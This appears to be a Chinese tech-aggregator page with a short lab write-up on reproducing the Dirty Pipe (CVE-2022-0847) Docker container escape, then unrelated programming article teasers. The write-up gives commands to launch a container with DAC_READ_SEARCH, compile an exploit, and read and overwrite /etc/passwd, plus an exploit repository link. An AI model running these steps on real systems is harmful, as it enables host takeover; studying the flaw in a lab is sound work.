当前位置： 首页 > news >正文

Docker Dirtypipe（CVE-2022-0847）漏洞复现与分析容器逃逸

news 2026/4/22 16:34:42

安装环境

./metarget cnv install cve-2022-0847 --verbose

原理

同脏牛，通过写只读内存，对映射的内存做篡改

EXP


docker run --rm -it -v $(pwd):/exp --cap-add=CAP_DAC_READ_SEARCH ubuntu如果提示 Unknown capability to add: "CAP_CAP_DAC_READ_SEARCH"错误则运行下列命令docker run --rm -it -v $(pwd):/exp --cap-add=DAC_READ_SEARCH ubuntugcc dp.c -o dp读系统文件：/exp/dp /etc/passwd写系统文件 /exp/dp /etc/passwd 1 ootz:

GitHub - greenhandatsjtu/CVE-2022-0847-Container-Escape: CVE-2022-0847 used to achieve container escape 利用CVE-2022-0847 (Dirty Pipe) 实现容器逃逸

参考

云原生之容器安全实践-安全客 - 安全资讯平台 (anquanke.com)

从脏管道(CVE-2022-0847)到docker逃逸 - 先知社区 (aliyun.com)

相关文章：

Docker Dirtypipe（CVE-2022-0847）漏洞复现与分析容器逃逸

安装环境 ./metarget cnv install cve-2022-0847 --verbose 原理 同脏牛，通过写只读内存，对映射的内存做篡改 EXP docker run --rm -it -v $(pwd):/exp --cap-addCAP_DAC_READ_SEARCH ubuntu如果提示 Unknown capability to add: "CAP_CAP_DAC_RE…...

编程日记 2023/8/13 1:29:19

python接口自动化测试框架2.0，让你像Postman一样编写测试用例，支持多环境切换、多业务依赖、数据库断言等

项目介绍 接口自动化测试项目2.0 软件架构 本框架主要是基于 Python unittest ddt HTMLTestRunner log excel mysql 企业微信通知 Jenkins 实现的接口自动化框架。 前言 公司突然要求你做自动化，但是没有代码基础不知道怎么做？或者有自动化…...

编程日记 2023/8/13 1:28:16

Vue.js2+Cesium1.103.0 九、淹没分析效果

Vue.js2Cesium1.103.0 九、淹没分析效果 Demo <template><divid"cesium-container"style"width: 100%; height: 100%;"><spanid"button"style"position: absolute; right: 50px; top: 50px; z-index: 999; font-size: 24px…...

编程日记 2023/8/13 1:27:15

SpringBoot案例-部门管理-新增

根据页面原型&#xff0c;明确需求 页面原型 需求 阅读接口文档 接口文档链接如下&#xff1a; 【腾讯文档】SpringBoot案例所需文档 https://docs.qq.com/doc/DUkRiTWVaUmFVck9N 思路分析 前端在输入要新增的部门名称后&#xff0c;会以JSON格式将数据传入至后端&#xf…...

编程日记 2023/8/13 1:26:13

微信小程序中背景图片如何占满整个屏幕，拉伸

不变形 1. 在页面的wxss文件中&#xff0c;设置背景图片的样式&#xff1a; page{background-image: url(图片路径);background-size: 100% 100%;background-repeat: no-repeat; }2. 在页面的json文件中&#xff0c;设置背景图片的样式&#xff1a; {"backgroundTextStyl…...

编程日记 2023/8/13 1:25:12

Java并发编程（四）线程同步 中 [AQS/Lock]

概述 Java中可以通过加锁&#xff0c;来保证多个线程访问某一个公共资源时&#xff0c;资源的访问安全性。Java提出了两种方式来加锁 第一种是我们上文提到的通过关键字synchronized加锁&#xff0c;synchronized底层托管给JVM执行的&#xff0c;并且在java 1.6 以后做了很多…...

编程日记 2023/8/13 1:24:10

PyTorch深度学习环境安装(Anaconda、CUDA、cuDNN)及关联PyCharm

1. 关系讲解 Tytorch&#xff1a;Python机器学习库&#xff0c;基于Torch&#xff0c;用于自然语言处理等应用程序 Anaconda&#xff1a;是默认的python包和环境管理工具&#xff0c;安装了anaconda&#xff0c;就默认安装了conda CUDA&#xff1a;CUDA是一种由显卡厂商NVIDI…...

编程日记 2023/8/13 1:23:09

Active Directory安全和风险状况管理

风险评估和管理 风险评估和管理是主动安全性和合规性管理不可或缺的一部分。 发现关键基础设施组件中的风险行为和配置对于阻止网络入侵和预防网络攻击至关重要。帐户泄露和配置错误漏洞是用于破坏网络的常见技术。当评估、监控和降低 Active Directory 基础架构的风险时&…...

编程日记 2023/8/13 1:22:08

学术论文GPT源码解读：从chatpaper、chatwithpaper到gpt_academic

前言 之前7月中旬&#xff0c;我曾在微博上说准备做“20个LLM大型项目的源码解读” 针对这个事&#xff0c;目前的最新情况是 已经做了的&#xff1a;LLaMA、Alpaca、ChatGLM-6B、deepspeedchat、transformer、langchain、langchain-chatglm知识库准备做的&#xff1a;chatpa…...

编程日记 2023/8/13 1:21:05

单链表（C语言版）

单链表&#xff1a;理解、实现与应用 单链表&#xff08;Singly Linked List&#xff09;是一种常见的数据结构&#xff0c;用于存储一系列具有相同类型的元素&#xff0c;并通过节点之间的链接建立起它们的关系。每个节点包含一个数据元素和一个指向下一个节点的指针。相比于…...

编程日记 2023/8/13 1:20:04

初学vue3时应该注意的几个问题

初学vue3时应该注意的几个问题 声明响应式 响应式数据的声明在vue2的时候很简单&#xff0c;在data中声明就行了。但现在可以使用多个方式。 reactive用于声明Object, Array, Map, Set; ref用于声明String, Number, Boolean 使用reactive来声明基础数据类型&#xff08;Str…...

编程日记 2023/8/13 1:19:03

基于Selenium技术方案的爬虫入门实践

通过爬虫技术抓取网页&#xff0c;动态加载的数据或包含 JavaScript 的页面&#xff0c;需要使用一些特殊的技术和工具。以下是一些常用的技术方法&#xff1a; 使用浏览器模拟器&#xff1a;使用像 Selenium、PhantomJS 或其他类似工具可以模拟一个完整的浏览器环境&#xff0…...

编程日记 2023/8/13 1:18:01

【C++入门到精通】C++入门 —— vector (STL)

阅读导航 前言一、vector简介1. 概念2. 特点 二、vector的使用1.vector 构造函数2. vector 空间增长问题⭕resize 和 reserve 函数 3. vector 增删查改⭕operator[] 函数 三、迭代器失效温馨提示 前言 前面我们讲了C语言的基础知识&#xff0c;也了解了一些数据结构&#xff0…...

编程日记 2023/8/13 1:16:59

git简单使用

1.在 远端仓库创建好仓库 2.在本地中创建仓库 ​ mkdir 仓库名 ​ cd 仓库名 3.初始化(可以省略) ​ git init 4.添加远端仓库 ​ git remote add origin https://gitee.com/zengtian_7/pet_home.git 5.初始化代码库&#xff1a;当你创建一个全新的代码库时&#xff0c…...

编程日记 2023/8/13 1:15:58

CSS—选择器

目录 一、CSS简介 二、HTML页面中常用的元素 三、CSS语法规则 四、常用的选择器 五、CSS的三种使用方法 六、选择器参考 一、CSS简介 CSS (Cascading Style Sheets&#xff0c;层叠样式表&#xff09;&#xff0c;是一种用来为结构化文档&#xff08;如 HTML 文档或 XML 应…...

编程日记 2023/8/13 1:14:56

【Unity实战系列】Unity的下载安装以及汉化教程

君兮_的个人主页 即使走的再远&#xff0c;也勿忘启程时的初心 C/C 游戏开发 Hello,米娜桑们&#xff0c;这里是君兮_&#xff0c;怎么说呢&#xff0c;其实这才是我以后真正想写想做的东西&#xff0c;虽然才刚开始&#xff0c;但好歹&#xff0c;我总算是启程了。今天要分享…...

编程日记 2023/8/13 1:13:55

电脑IP地址错误无法上网怎么办？

电脑出现IP地址错误后就将无法连接网络&#xff0c;从而无法正常访问互联网。那么当电脑出现IP地址错误时该怎么办呢&#xff1f; 确认是否禁用本地连接 你需要先确定是否禁用了本地网络连接&#xff0c;如果发现禁用&#xff0c;则将其启用即可。 启用方法&#xff1a;点击桌…...

编程日记 2023/8/13 1:12:54

机器视觉项目流程和学习方法

机器视觉项目流程&#xff1a; 00001. 需求分析和方案建立 00002. 算法流程规划和业务逻辑设计 00003. 模块化编程和集成化实现 00004. 调试和优化&#xff0c;交付客户及文档 学习机器视觉的方法&#xff1a; 00001. 实战学习&#xff0c;结合项目经验教训 00002. 学习…...

编程日记 2023/8/13 1:11:54

LNMP环境搭建wordpress以及跳转后台报404解决

基于上文配置好的LNMP环境继续搭建wordpress 目录 一.到官网下载tar.gz包&#xff0c;并上传到Linux上&#xff0c;也可以通过复制链接地址进行下载 二. 将wordpress中的所有文件移动到你nginx.conf中指定目录中 三.为wordpress配置数据库 四.到浏览器进行注册 1.刚开始…...

编程日记 2023/8/13 1:10:52

Nginx+Tomcat的动静分离

首先准备好5台机子&#xff1a;2台装有tomcat&#xff0c;3台装有nginx 1.关闭5台机子的防火墙 systemctl stop firewalld systemctl disable firewalld setenforce 0 Nginx1 vim /usr/local/nginx/conf/nginx.conf#在--#pid-- 下做四层代理 stream {upstream test {server …...

编程日记 2023/8/13 1:09:51

ChemCrow实战指南：用AI大模型解决复杂化学问题的终极方案

ChemCrow实战指南&#xff1a;用AI大模型解决复杂化学问题的终极方案 【免费下载链接】chemcrow-public Chemcrow 项目地址: https://gitcode.com/gh_mirrors/ch/chemcrow-public 你是否曾为复杂的化学计算感到头疼&#xff1f;需要计算分子量、预测反应产物&#xff0c…...

编程新知 2026/4/22 15:25:35

从零开始：数据结构与算法的核心概念与实战解析

1. 数据结构与算法的入门指南 第一次接触数据结构与算法时&#xff0c;很多人都会感到一头雾水。我记得自己刚开始学习的时候&#xff0c;看着那些陌生的术语和复杂的公式&#xff0c;完全不知道从何下手。但后来发现&#xff0c;只要掌握了正确的学习方法&#xff0c;这些看似…...

编程新知 2026/4/22 15:03:30

nli-MiniLM2-L6-H768保姆级教程：NLI服务审计日志与GDPR合规配置

nli-MiniLM2-L6-H768保姆级教程&#xff1a;NLI服务审计日志与GDPR合规配置 1. 服务概述与核心功能 nli-MiniLM2-L6-H768是一款基于自然语言推理(NLI)的轻量级服务&#xff0c;专门用于判断两个句子之间的逻辑关系。该服务采用Hugging Face开源的cross-encoder/nli-MiniLM2-L…...

编程新知 2026/4/22 14:55:23

如何解决Mac过热问题：smcFanControl完全指南 - 让你的Intel Mac保持凉爽运行

如何解决Mac过热问题&#xff1a;smcFanControl完全指南 - 让你的Intel Mac保持凉爽运行 【免费下载链接】smcFanControl Control the fans of every Intel Mac to make it run cooler 项目地址: https://gitcode.com/gh_mirrors/smc/smcFanControl 你是否曾经在运行大型…...

编程新知 2026/4/22 14:49:20

Win11Debloat终极指南：如何让Windows系统运行速度提升44%的简单方法

Win11Debloat终极指南&#xff1a;如何让Windows系统运行速度提升44%的简单方法 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to dec…...

编程新知 2026/4/22 14:49:20

零阶优化算法原理与实践指南

1. 零阶优化算法基础解析零阶优化算法&#xff08;Zeroth-Order Optimization&#xff09;是一类仅通过目标函数值进行优化的方法&#xff0c;与需要梯度信息的一阶优化算法形成鲜明对比。这类方法的核心优势在于其普适性——不需要目标函数可微&#xff0c;甚至不需要知道目标…...

编程新知 2026/4/22 14:45:17

如何用铜钟音乐打造无干扰的纯净音乐体验？

如何用铜钟音乐打造无干扰的纯净音乐体验&#xff1f; 【免费下载链接】tonzhon-music 铜钟 Tonzhon (tonzhon.whamon.com): 干净纯粹的音乐平台 (铜钟已不再使用 tonzhon.com&#xff0c;现在的 tonzhon.com 不是正版的铜钟) 项目地址: https://gitcode.com/GitHub_Trending…...

编程新知 2026/4/22 14:02:35

3个理由告诉你为什么Easy-Scraper是网页数据提取的最佳选择

3个理由告诉你为什么Easy-Scraper是网页数据提取的最佳选择 【免费下载链接】easy-scraper Easy scraping library 项目地址: https://gitcode.com/gh_mirrors/ea/easy-scraper 还在为网页抓取而烦恼吗&#xff1f;每次页面结构变化都要重写复杂的CSS选择器&#xff1f;…...

编程新知 2026/4/22 13:43:37

别再死记硬背了！用Python+NumPy手搓一个64QAM调制解调器（附完整代码）

用PythonNumPy从零实现64QAM调制解调系统&#xff1a;原理到代码实战 在无线通信系统中&#xff0c;调制解调技术直接影响着数据传输的效率和可靠性。64QAM作为高阶调制方式&#xff0c;能够在有限带宽内传输更多数据&#xff0c;但同时也对系统设计提出了更高要求。本文将带您…...

编程新知 2026/4/22 13:24:56

C语言学习笔记 - 4.C概述 - C的特点

本笔记基于郝斌-C语言自学入门教程整理&#xff0c;配套参考教材谭浩强《C程序设计(第五版)》第1章1.3节&#xff0c;适配VSCode C/C开发环境&#xff0c;核心梳理C语言的核心优势与固有缺陷&#xff0c;帮助建立对C语言的完整认知。一、C语言的核心优点C语言的核心竞争力集中在…...

编程新知 2026/4/22 11:53:46